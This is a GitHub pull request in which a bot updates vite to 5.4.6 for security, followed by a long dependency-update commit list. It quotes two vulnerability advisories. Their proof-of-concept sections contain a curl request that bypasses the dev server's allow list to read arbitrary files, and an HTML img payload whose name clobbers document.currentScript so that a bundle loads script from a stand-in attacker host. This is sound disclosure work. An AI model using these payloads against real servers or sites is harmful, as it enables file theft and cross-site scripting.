Skip to content

chore(deps): update dependency vite to v5.4.6 [security] #3833

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Sep 30, 2024

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Sep 17, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) 5.4.5 -> 5.4.6 age adoption passing confidence
vite (source) 5.4.4 -> 5.4.6 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

v5.4.6

Compare Source

Please refer to CHANGELOG.md for details.


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link

vercel bot commented Sep 17, 2024

The latest updates on your projects. Learn more about Vercel for Git ↗︎

Name Status Preview Comments Updated (UTC)
ionic-docs ✅ Ready (Inspect) Visit Preview 💬 Add feedback Sep 30, 2024 4:15pm

@renovate renovate bot force-pushed the renovate/npm-vite-vulnerability branch from 1e9a1ee to 900a082 Compare September 30, 2024 16:08
@brandyscarney brandyscarney enabled auto-merge (squash) September 30, 2024 16:09
@brandyscarney brandyscarney merged commit b4811da into main Sep 30, 2024
4 checks passed
@brandyscarney brandyscarney deleted the renovate/npm-vite-vulnerability branch September 30, 2024 16:15
rdlabo added a commit that referenced this pull request Mar 17, 2025
* chore(deps): update dependency vite to v5.2.13 (#3696)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-react to v4.3.1 (#3701)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.2.2 (#3702)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-tsc to v2.0.21 (#3700)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.2 (#3699)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(support): add angular 18 support (#3705)

* chore(deps): update dependency @types/node to v20.14.4 (#3709)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.3.3 (#3703)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.1.1 (#3704)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.5.2 (#3710)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.28 (#3708)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.0 (#3706)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.0 (#3707)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore: remove beamer (#3711)

* chore(deps): update dependency web-vitals to v4.2.0 (#3717)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.0 (#3716)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.1 (#3713)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.29 (#3715)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.1 (#3714)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.7 (#3712)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.8 (#3718)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.30 (#3719)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-tsc to v2.0.22 (#3720)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(demos): update v8 playgrounds to use correct version (#3722)

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.0.5 (#3723)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.31 (#3727)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.2 (#3726)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.2 (#3725)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.9 (#3724)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.2.5 (#3721)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.3 (#3731)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.3 (#3732)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.5.3 (#3730)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.1 (#3729)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.10 (#3733)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(updating): set versions to force major number (#3734)

* docs(angular): add tip for usage of IonRouterLink within navigation (#3735)

Co-authored-by: Maria Hutt <[email protected]>

* docs(icon): update icon playgrounds to use addIcons usage (#3698)

resolves #3688 resolves #2892

* docs(button): update icon playgrounds to use addIcons usage (#3737)

* docs(breadcrumbs): update icon playgrounds to use addIcons usage (#3736)

* docs(chip): update icon playgrounds to use addIcons usage (#3739)

* docs(fab): update icon playgrounds to use addIcons usage (#3740)

* docs(input): update icon playgrounds to use addIcons usage (#3741)

* docs(buttons): update icon playgrounds to use addIcons usage (#3738)

* docs(reorder): update icon playgrounds to use addIcons usage (#3749)

* docs(segment-button): update icon playgrounds to use addIcons usage (#3751)

* docs(tabs): update icon playgrounds to use addIcons usage (#3757)

* docs(input): update `Maskito` documentation (according to the latest major release `3.0.0`) (#3742)

* docs(item): update icon playgrounds to use addIcons usage (#3743)

* docs(item-sliding): update icon playgrounds to use addIcons usage (#3744)

* docs(layout): update icon playgrounds to use addIcons usage (#3745)

* docs(modal): update icon playgrounds to use addIcons usage (#3746)

* docs(range): update icon playgrounds to use addIcons usage (#3747)

* docs(refresher): update icon playgrounds to use addIcons usage (#3748)

* docs(segment): update icon playgrounds to use addIcons usage (#3750)

* docs(select): update icon playgrounds to use addIcons usage (#3752)

* docs(textarea): update icon playgrounds to use addIcons usage (#3753)

* docs(skeleton-text): update icon playgrounds to use addIcons usage (#3754)

* docs(text): update icon playgrounds to use addIcons usage (#3755)

* docs(toolbar): update icon playgrounds to use addIcons usage (#3756)

* docs(theming): update icon playgrounds to use addIcons usage (#3758)

* docs(api): use v8 demos instead of v7 demos for latest playgrounds (#3759)

* docs(api): add missing code to javascript demo index files (#3760)

* chore(deps): update dependency @types/node to v20.14.11 (#3761)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.4 (#3762)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.4 (#3763)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.32 (#3764)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.33 (#3767)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.2 (#3768)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(native): properly type camera example usage (#3175)

Updating to prevent error message "Type 'string | undefined' is not assignable to type 'string'. 

---------

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update ionic to v8.2.6 (#3772)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(api): rename dark theme to palette (#3765)

* docs(api): pass ionicons dependency in the javascript and angular package file (#3766)

* docs(vue): update quickstart to reference the correct file (#3514)

Co-authored-by: Brandy Carney <[email protected]>

* docs(api): update v8 usage for stepped colors (#3770)

* chore(deps): update dependency typescript to v5.5.4 (#3773)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(cli): add a tip to fix live reload not working inside docker (#3201)

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update vite-vue to v5.1.0 (#3777)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.34 (#3776)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.5 (#3775)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.12 (#3774)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.1 (#3778)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.13 (#3779)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.1.2 (#3780)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.2 (#3784)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.2 (#3782)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.14 (#3787)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(migration): update version number to 8 for Ionic Vue steps (#3785)

* chore(deps): update dependency vue to v3.4.35 (#3783)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(input, textarea): use a valid element for querySelector (#3786)

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update dependency vite to v5.4.0 (#3793)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.37 (#3789)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.3 (#3791)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.3 (#3790)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.0 (#3792)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(item): document the keyboard interactions with item (#3788)

* chore(deps): update dependency @types/node to v20.14.15 (#3794)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.1 (#3798)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.1 (#3799)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.38 (#3800)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.2.7 (#3795)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.1 (#3802)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.2 (#3805)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.2 (#3804)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.4 (#3803)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* fix(input): vue counter example uses maxlength as a number (#3807)

Co-authored-by: Kenneth Ng <[email protected]>

* chore(deps): update dependency vue to v3.5.2 (#3820)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.0 (#3816)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.2 (#3811)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.3 (#3819)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.5 (#3813)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.3 (#3812)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.3 (#3810)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(tabs): add playground for basic usage (#3824)

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update dependency vite to v5.4.4 (#3827)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.5 (#3821)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.3 (#3822)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.3 (#3823)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.6.2 (#3825)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.4 (#3828)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.6 (#3840)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.1 (#3834)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.5 (#3830)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.5 (#3831)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.5 (#3832)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.9 (#3841)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.6 (#3836)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.6 [security] (#3833)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.6 (#3843)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(app): add documentation and demo for the setFocus method (#3842)

* chore(deps): update ionic to v8.3.2 (#3850)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.10 (#3844)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.10 (#3845)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update vite-vue to v5.1.4 (#3848)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.10 (#3847)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.8 (#3846)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(slides): update imports for modules  (#3806)

Fix the import of modules, according to the documentation [https://swiperjs.com/swiper-api#custom-build](Swiper Modules)

---------

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update dependency @types/react to v18.3.11 (#3851)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-react to v4.3.2 (#3852)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.11 (#3853)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(nav): component playground examples (#2498)

* chore(deps): update dependency @types/node to v20.16.11 (#3854)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.6.3 (#3856)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22 (#3866)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.4 (#3865)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.9 (#3863)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.9 (#3862)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.12 (#3860)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react-dom to v18.3.1 (#3859)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.3 (#3861)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.4 (#3870)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.9 (#3873)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update vite-react (#3871)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.10 (#3869)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.12 (#3868)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(): merge feature-8.4 docs (#3877)

* docs(select): add `modal` interface to `ion-select` docs (#3872)

* docs(select): update select docs for modal interface

* fix(select): point playground to correct demo

* feat(segment): add playground & docs for segment view (#3875)

* feat(segment): add playground & docs for segment view

* fix(segment-view): api import version

* fix(segment-content): usage & common API sections

* Force CI run

* chore(deps): update ionic to v8.4.0 (#3878)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(datetime): remove non-existent value from presentation (#3879)

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.5 (#3881)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs: update license reference (#3884)

Signed-off-by: Emmanuel Ferdman <[email protected]>

* chore(deps): update dependency vite to v5.4.11 (#3882)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* feat(api): remove @next from @ionic/docs

* fmt

* chore(deps): update dependency vue-router to v4.5.0 (#3890)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.4.1 (#3889)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.8.6 (#3876)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.7.2 (#3888)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-react to v4.3.4 (#3893)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.11 (#3883)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.13 (#3885)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.13 (#3891)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v19 (#3892)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.10.1 (#3896)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(developing): remove Atom from list of recommended editors (#3979)

* chore(deps): update dependency @types/node to v22.10.2 (#3903)

* chore(deps): update dependency @vitejs/plugin-vue to v5.2.1 (#3897)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(angular): update playgrounds to standalone and StackBlitz previews to use WebContainers (#3905)

* docs(input): add missing imports for maskito in React (#3976)

* docs(input-password-toggle): update title to correct component name (#3977)

* docs(glossary): update formatting to remove line breaks around links (#3978)

* docs(playgrounds): rename ev to event for consistency (#3982)

* fix(playground): update template generator to support Angular standalone (#3983)

* docs(input-password-toggle): update vue import (#3984)

closes #3817

* docs(support): add Angular 19 support to table (#3985)

* chore(deps): update dependency @types/node to v22.10.4 (#3988)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(ios, android): update v6 links (#3990)

* chore(deps): update dependency @types/node to v22.10.5 (#3992)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore

* chore

* docs(config): add logLevel to config options (#3998)

* chore(deps): update ionic to v8.4.2 (#4000)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.12 [security] (#3999)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.10.7 (#3997)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.7.3 (#3995)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(your-first-app): remove duplicate word and correct grammar (#3994)

* docs(build-options): remove enableProdMode() reference (#3989)

* chore(deps): update react monorepo (#3900)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(gestures): update Animation references to Gesture (#3899)

* chore(deps): update dependency vite to v5.4.13 (#4003)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.13 (#4002)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react monorepo (#4004)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6 (#3898)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.14 (#4006)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.10.10 (#4005)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(toast): remove cssClass property from ToastButton interface (#4001)

closes #3993

* Fix typo

* chore(deps): update dependency @types/node to v22.12.0 (#4008)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.0 (#4010)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6 (#3894)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.0 (#4012)
